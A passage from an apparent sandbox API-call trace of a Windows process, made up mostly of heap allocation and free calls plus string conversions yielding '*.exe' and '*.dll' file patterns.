Size=0x40) returned 0x4ac2d0 [0224.881] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd8c | out: OldValue=0x18fd8c*=0x0) returned 1 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2800) returned 0x8f2850 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad5e8 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2d8 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1f8 [0224.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1f8) returned 1 [0224.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2d8) returned 1 [0224.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad5e8) returned 1 [0224.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2850) returned 1 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2800) returned 0x8f2850 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad5e8 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2d8 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1f8 [0224.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2c8 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad600 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2b8 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1b0 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2a8 [0224.881] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac168 [0224.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1f8) returned 1 [0224.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2d8) returned 1 [0224.881] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2c8) returned 1 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad5e8) returned 1 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad5e8 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2c8 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2d8 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1f8 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1b0) returned 1 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2b8) returned 1 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac168) returned 1 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2a8) returned 1 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad600) returned 1 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad600 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2a8 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac168 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2b8 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1b0 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2c8) returned 1 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1f8) returned 1 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2d8) returned 1 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad5e8) returned 1 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad5e8 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2d8 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1f8 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2c8 [0224.882] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac168) returned 1 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2a8) returned 1 [0224.882] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1b0) returned 1 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2b8) returned 1 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad600) returned 1 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f2850) returned 1 [0224.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ad9d0 [0224.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac1f8, cbMultiByte=5, lpWideCharStr=0x4ad9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ada58 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad9d0) returned 1 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad600 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2b8 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ad9d0 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ada58) returned 1 [0224.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ada58 [0224.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4ac288, cbMultiByte=5, lpWideCharStr=0x4ada58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4adae0 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ada58) returned 1 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2a8 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ada58 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4adae0) returned 1 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1f8) returned 1 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2d8) returned 1 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2c8) returned 1 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad5e8) returned 1 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2800) returned 0x8f2850 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad5e8 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2c8 [0224.883] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1f8 [0224.883] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2d8 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1b0 [0224.884] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad298 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac168 [0224.884] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad288 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.884] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4abc08 [0224.884] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad5e8) returned 1 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad278 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac240 [0224.884] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad268 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.884] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad258 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x8f5058 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad248 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5e8 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad238 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac630 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad228 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac678 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad218 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac6c0 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad208 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac708 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad1e8 [0224.884] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac750 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad1f8 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac798 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1f8) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2c8) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1b0) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2d8) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac168) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad298) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad288) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac240) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad278) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad268) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad258) returned 1 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abc08) returned 1 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.885] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x10) returned 0x4ad5e8 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad258 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad268 [0224.885] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.886] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad278 [0224.886] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac240 [0224.886] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad288 [0224.886] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.886] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4abc08 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad5e8) returned 1 [0224.886] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad298 [0224.886] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac168 [0224.886] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2d8 [0224.886] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1b0 [0224.886] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2c8 [0224.886] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1f8 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5e8) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad248) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac630) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad238) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac678) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad228) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac6c0) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad218) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac708) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad208) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac750) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad1e8) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac798) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad1f8) returned 1 [0224.886] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5058) returned 1 [0224.886] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x8f5058 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad1f8 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac798 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad1e8 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac750 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad208 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac708 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad218 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac6c0 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad228 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac678 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad238 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac630 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad248 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac5e8 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac288) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad258) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad268) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac240) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad278) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad288) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac168) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad298) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1b0) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2d8) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac1f8) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad2c8) returned 1 [0224.887] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abc08) returned 1 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4abc08 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2c8 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1f8 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad2d8 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac1b0 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad298 [0224.887] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac168 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad288 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad278 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac240 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad268 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4ad258 [0224.888] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac288 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac798) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad1f8) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac750) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad1e8) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac708) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad208) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac6c0) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad218) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac678) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad228) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac630) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad238) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac5e8) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ad248) returned 1 [0224.888] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5058) returned 1 